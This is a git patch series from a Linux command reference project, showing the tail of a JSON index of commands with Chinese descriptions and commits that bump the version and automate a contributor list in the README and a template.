":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file diff --git a/package.json b/package.json index f18ea257b13..5c7c4b4d0b1 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.12.0", + "version": "1.13.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From 48c51ac554eb4b2dd54b882e1fa34476594c84e5 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 13 Nov 2022 16:39:31 +0800 Subject: [PATCH 0582/1019] doc: Modify Contributors info. --- .github/workflows/ci.yml | 8 ++++++++ README.md | 8 +++++--- 2 files changed, 13 insertions(+), 3 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 96960c8266d..afded40853b 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -15,10 +15,18 @@ jobs: - name: Generate Contributors Images uses: jaywcjlove/github-action-contributors@main + id: contributors with: filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) avatarSize: 42 + - name: Modify README.md + uses: jaywcjlove/github-action-modify-file-content@main + with: + path: README.md + body: | + ${{steps.contributors.outputs.htmlList}} + - name: Build Linux Command run: | npm install diff --git a/README.md b/README.md index 3eb76713e30..e8d7b8a1bb0 100644 --- a/README.md +++ b/README.md @@ -336,15 +336,17 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ---|---|--- [小弟调调™](http://wangchujiang.com) | [ZhuangZhu-74](https://github.com/ZhuangZhu-74) | [Huck Huang](https://github.com/huckhuang) -## Contributors +## 感谢所有贡献者 -As always, thanks to our amazing contributors! +一如既往，感谢我们出色的贡献者！ + + -Made with [github-action-contributors](https://github.com/jaywcjlove/github-action-contributors). +贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 ## License From 147bc3dd28411cb82bc6c590924b6d3af1150ee2 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 13 Nov 2022 08:40:20 +0000 Subject: [PATCH 0583/1019] doc: modify README.md. --- README.md | 357 +++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 353 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index e8d7b8a1bb0..3d7192a3a83 100644 --- a/README.md +++ b/README.md @@ -340,11 +340,360 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 一如既往，感谢我们出色的贡献者！ - - - + + 小弟调调™ - + + ZhuangZhu-74 + + + Mend Renovate + + + Huck Huang + + + lutixiaya + + + L + + + clay-wangzhi + + + Glett + + + 项金 + + + Jayin Taung + + + Zhang Zijing + + + Fubin Zhang + + + 烟草的香味 + + + __FresHmaN + + + James Wang + + + Lnkstls + + + Segfault + + + lavaicer + + + loverainye + + + jeff + + + dulltackle + + + ernest + + + Ein Verne + + + Pan, Wen-Ming + + + RichardLCD + + + Xingwen Zhang + + + Dazhuangw + + + wa7t + + + Shell + + + 吕程风 + + + DaYangtuo247 + + + Danny + + + Divenire + + + Frankie + + + Herbert8 + + + HighScorePlayer + + + Huntout Zhang + + + Jack + + + Jack.A.Black + + + LaudOak + + + Legend + + + LexsionLee + + + 孟思行 + + + Lucien + + + 王勇涛 + + + mwei + + + Marnm + + + MinsonLee + + + Mystic + + + Ray Yee + + + Rining Wu + + + Robigus + + + Rocher + + + 殇 + + + SMVirus + + + SevenSteven + + + Azolla + + + RoachZhao + + + Spaghetti-C + + + 王杰 + + + Wingrez + + + Xiaodong DENG + + + Xu Chunyang + + + Yan Sheng + + + Yunbin Liu + + + 0Knot (0KN) + + + One Person’s Revelry + + + amit794 + + + bell + + + brinkqiang + + + chen + + + cxalc + + + dayday + + + deny + + + dongpohezui + + + ecjtusbs + + + gang.yang + + + gedune + + + gesty + + + gggwvg + + + ghy + + + gcluffy + + + huangyao + + + juemuren4449 + + + kassadin + + + kid1412621 + + + leo + + + linuxwd + + + logicwang + + + cole + + + myliwenbo + + + noodles2hg + + + oliver + + + rexlin600 + + + shc + + + snovey + + + UniqueDing + + + weibk + + + yanyx + + + zengFz + + + zjlovezj + + + zodiac + + + zoomdong + + + zuixin369 + + + 七朔 + + + 孤城落寞 + + + 宋小北 + + + Loofra + + + ReZero + + + 极简XksA + + + 沙漠之子 + + + 移动的红烧肉 + + + 继刚 + + + huzk + + + 谢民皆 + + + 远方 + + + 鞍马稀 + + + 黑&蛋 + 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 18bf16646ffcd6c60673f4d8f420c04d41c16922 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 13 Nov 2022 16:45:40 +0800 Subject: [PATCH 0584/1019] chore: modify contributors template. --- .github/workflows/ci.yml | 2 ++ README.md | 4 ++-- template/contributors.ejs | 6 ++++-- 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index afded40853b..7929de7577d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -18,6 +18,8 @@ jobs: id: contributors with: filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) + openDelimiter: '' + closeDelimiter: '' avatarSize: 42 - name: Modify README.md diff --git a/README.md b/README.md index 3d7192a3a83..23e785498bc 100644 --- a/README.md +++ b/README.md @@ -340,7 +340,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 一如既往，感谢我们出色的贡献者！ - + 小弟调调™ @@ -693,7 +693,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 黑&蛋 - + 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 diff --git a/template/contributors.ejs b/template/contributors.ejs index a799f612bba..040c3359e80 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -1,8 +1,10 @@ <%- include('partial/header'); %> <%- include('widget/search',{type: "list"}); %>
-

Contributors

-
<%-describe.contributors ? describe.contributors : '' %>
+

贡献者列表

+
+ +

数据来源于 GitHub Contributors，使用action-contributors创建。

From e29487a0efeaaa914703cee939b543188ac84f9e Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 13 Nov 2022 16:50:11 +0800 Subject: [PATCH 0585/1019] chore: update workflows config. --- .github/workflows/ci.yml | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 7929de7577d..95be86f432d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -29,6 +29,13 @@ jobs: body: | ${{steps.contributors.outputs.htmlList}} + - name: Modify contributors.ejs + uses: jaywcjlove/github-action-modify-file-content@main + with: + path: template/contributors.ejs + body: | + ${{steps.contributors.outputs.htmlList}} + - name: Build Linux Command run: | npm install From 829233e565a4c7b4a18fc5a914e389f5c1b7c3c3 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 13 Nov 2022 16:58:17 +0800 Subject: [PATCH 0586/1019] chore: update workflows config. --- .github/workflows/ci.yml | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 95be86f432d..231f770eaa9 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -18,14 +18,14 @@ jobs: id: contributors with: filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) - openDelimiter: '' - closeDelimiter: '' avatarSize: 42 - name: Modify README.md uses: jaywcjlove/github-action-modify-file-content@main with: path: README.md + openDelimiter: '' + closeDelimiter: '' body: | ${{steps.contributors.outputs.htmlList}} @@ -33,6 +33,8 @@ jobs: uses: jaywcjlove/github-action-modify-file-content@main with: path: template/contributors.ejs + openDelimiter: '' + closeDelimiter: '' body: | ${{steps.contributors.outputs.htmlList}} From 48d11a5328762956092b4609e13d01fd8e938eac Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 13 Nov 2022 08:59:02 +0000 Subject: [PATCH 0587/1019] doc: modify template/contributors.ejs. --- template/contributors.ejs | 355 +++++++++++++++++++++++++++++++++++++- 1 file changed, 354 insertions(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 040c3359e80..cff857d8ad6 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -3,7 +3,360 @@

贡献者列表

